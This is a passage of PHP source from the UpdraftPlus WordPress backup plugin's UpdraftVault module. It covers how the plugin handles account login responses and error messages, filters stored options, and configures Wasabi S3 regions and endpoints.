return new WP_Error('banned_ip', sprintf(__("UpdraftPlus.com has responded with 'Access Denied'.", 'updraftplus').'<br>'.__("It appears that your web server's IP Address (%s) is blocked.", 'updraftplus').' '.__('This most likely means that you share a webserver with a hacked website that has been used in previous attacks.', 'updraftplus').'<br> <a href="'.apply_filters("updraftplus_com_link", "https://updraftplus.com/unblock-ip-address/").'" target="_blank">'.__('To remove the block, please go here.', 'updraftplus').'</a> ', $matches[1]));
} else {
return new WP_Error('unknown_response', sprintf(__('UpdraftPlus.Com returned a response which we could not understand (data: %s)', 'updraftplus'), wp_remote_retrieve_body($result)));
}
}
switch ($response['loggedin']) {
case 'connected':
if (!empty($response['token'])) {
// Store it
$vault_settings = $this->get_options();
if (!is_array($vault_settings)) $vault_settings = array();
$vault_settings['email'] = $email;
$vault_settings['token'] = (string) $response['token'];
$vault_settings['quota'] = -1;
unset($vault_settings['last_config']);
if (isset($response['quota'])) $vault_settings['quota'] = $response['quota'];
$this->set_options($vault_settings, true);
if (!empty($response['config']) && is_array($response['config'])) {
if (!empty($response['config']['accesskey'])) {
$this->vault_set_config($response['config']);
} elseif (!empty($response['config']['result']) && ('token_unknown' == $response['config']['result'] || 'site_duplicated' == $response['config']['result'])) {
return new WP_Error($response['config']['result'], $this->vault_translate_remote_message($response['config']['message'], $response['config']['result']));
}
// else... would also be an error condition, but not one known possible (and it will show a generic error anyway)
}
} elseif (isset($response['quota']) && !$response['quota']) {
return new WP_Error('no_quota', __('You do not currently have any UpdraftVault quota', 'updraftplus'));
} else {
return new WP_Error('unknown_response', __('UpdraftPlus.Com returned a response, but we could not understand it', 'updraftplus'));
}
break;
case 'authfailed':
if (!empty($response['authproblem'])) {
if ('invalidpassword' == $response['authproblem']) {
$authfail_error = new WP_Error('authfailed', __('Your email address was valid, but your password was not recognised by UpdraftPlus.Com.', 'updraftplus').' <a href="'.esc_attr($this->get_url('vault_forgotten_credentials_links')).'">'.__('If you have forgotten your password, then go here to change your password on updraftplus.com.', 'updraftplus').'</a>');
return $authfail_error;
} elseif ('invaliduser' == $response['authproblem']) {
return new WP_Error('authfailed', __('You entered an email address that was not recognised by UpdraftPlus.Com', 'updraftplus'));
}
}
return new WP_Error('authfailed', __('Your email address and password were not recognised by UpdraftPlus.Com', 'updraftplus'));
break;
case 'iamfailed':
if (!empty($response['authproblem'])) {
if ('gettempcreds_exception2' == $response['authproblem'] || 'gettempcreds_exception2' == $response['authproblem']) {
$authfail_error = new WP_Error('authfailed', __('An error occurred while fetching your Vault credentials.', 'updraftplus').' '.__('Please try again after a few minutes.'));
} else {
$authfail_error = new WP_Error('authfailed', __('An unknown error occurred while connecting to Vault.', 'updraftplus').' '.__('Please try again.'));
}
return $authfail_error;
}
return new WP_Error('unknown_response', __('UpdraftPlus.Com returned a response, but we could not understand it', 'updraftplus'));
break;
default:
return new WP_Error('unknown_response', __('UpdraftPlus.Com returned a response, but we could not understand it', 'updraftplus'));
break;
}
return true;
}
/**
* Acts as a WordPress options filter
*
* @param Array $updraftvault - An array of UpdraftVault options
* @return Array - the set of updated UpdraftVault settings
*/
public function options_filter($updraftvault) {
// Get the current options (and possibly update them to the new format)
$opts = UpdraftPlus_Storage_Methods_Interface::update_remote_storage_options_format('updraftvault');
if (is_wp_error($opts)) {
if ('recursion' !== $opts->get_error_code()) {
$msg = "(".$opts->get_error_code()."): ".$opts->get_error_message();
$this->log($msg);
error_log("UpdraftPlus: $msg");
}
// The saved options had a problem; so, return the new ones
return $updraftvault;
}
// If the input is either empty or not as expected, then return the current options
if (!isset($updraftvault['settings']) || !is_array($updraftvault['settings']) || empty($updraftvault['settings'])) return $opts;
foreach ($updraftvault['settings'] as $instance_id => $storage_options) {
if (!isset($opts['settings'][$instance_id])) continue;
foreach ($storage_options as $storage_key => $storage_value) {
$opts['settings'][$instance_id][$storage_key] = $storage_value;
}
}
return $opts;
}
/**
* Set region that was recieved by previously performing location detection (i.e. getBucketLocation) and set the endpoint by concatenating the service hostname of the provider in use and the region
*
* @param Object $obj Storage object
* @param String $region bucket location
* @param String $bucket_name bucket name
*/
protected function set_region($obj, $region = '', $bucket_name = '') {
$config = $this->get_config();
if (isset($config['provider']) && 'wasabi' == $config['provider']) {
// https://knowledgebase.wasabi.com/hc/en-us/articles/360015106031-What-are-the-service-URLs-for-Wasabi-s-different-storage-regions
$endpoint = '';
switch ($region) {
case 'US':
$endpoint = 's3.wasabisys.com';
$region = 'us-east-1';
break;
case 'us-east-1':
case 'us-east-2':
case 'ap-southeast-1':
case 'ap-southeast-2':
case 'ap-northeast-1':
case 'ap-northeast-2':
case 'eu-west-1':
case 'eu-west-2':
case 'eu-central-1':
case 'eu-central-2':
case 'ca-central-1':
case 'us-west-1':
case 'us-central-1':
$endpoint = 's3.'.$region.'.wasabisys.com';
break;
default:
break;
}
if ($endpoint) {
$this->log("Set region (".get_class($obj)."): $region");
$obj->setRegion($region);
if (!is_a($obj, 'UpdraftPlus_S3_Compat')) {
$this->log("Set endpoint: $endpoint");
$obj->setEndpoint($endpoint);
}
}
} else {
// the default AWS provider is in use, so we set region using mechanism defined for the AWS in the parent class
parent::set_region($obj, $region, $bucket_name);
}
}
/**
* Get an S3 object by specifying the global endpoint of the provider being used
*
* @param String $key S3 Key
* @param String $secret S3 secret
* @param Boolean $useservercerts User server certificates
* @param Boolean $disableverify Check if disableverify is enabled
* @param Boolean $nossl Check if there is SSL or not
* @param Null|String $endpoint S3 endpoint to use
* @param Boolean $sse A flag to use server side encryption
* @param String $session_token The session token returned by AWS for temporary credentials access
*
* @return Object|WP_Error
*/
public function getS3($key, $secret, $useservercerts, $disableverify, $nossl, $endpoint = null, $sse = false, $session_token = null) {
$config = $this->get_config();
if (isset($config['provider']) && 'wasabi' == $config['provider']) {
// UpdraftPlus_BackupModule_s3 is abstract and by default linked to S3 AWS provider, the same with Vault which is the descendant class of UpdraftPlus_BackupModule_s3 which also uses S3 AWS by default
// but since Vault now supports Wasabi provider and Wasabi is a provider that also has regions, we override and choose not to pass the "s3.wasabisys.com" endpoint directly to every method that calls getS3() in the UpdraftPlus_BackupModule_s3 class to prevent unnecessary checks being done in the abstract layer
return parent::getS3($key, $secret, $useservercerts, $disableverify, $nossl, 's3.wasabisys.com', $sse, $session_token);
} else {
return parent::getS3($key, $secret, $useservercerts, $disableverify, $nossl, $endpoint, $sse, $session_token);
}
}
}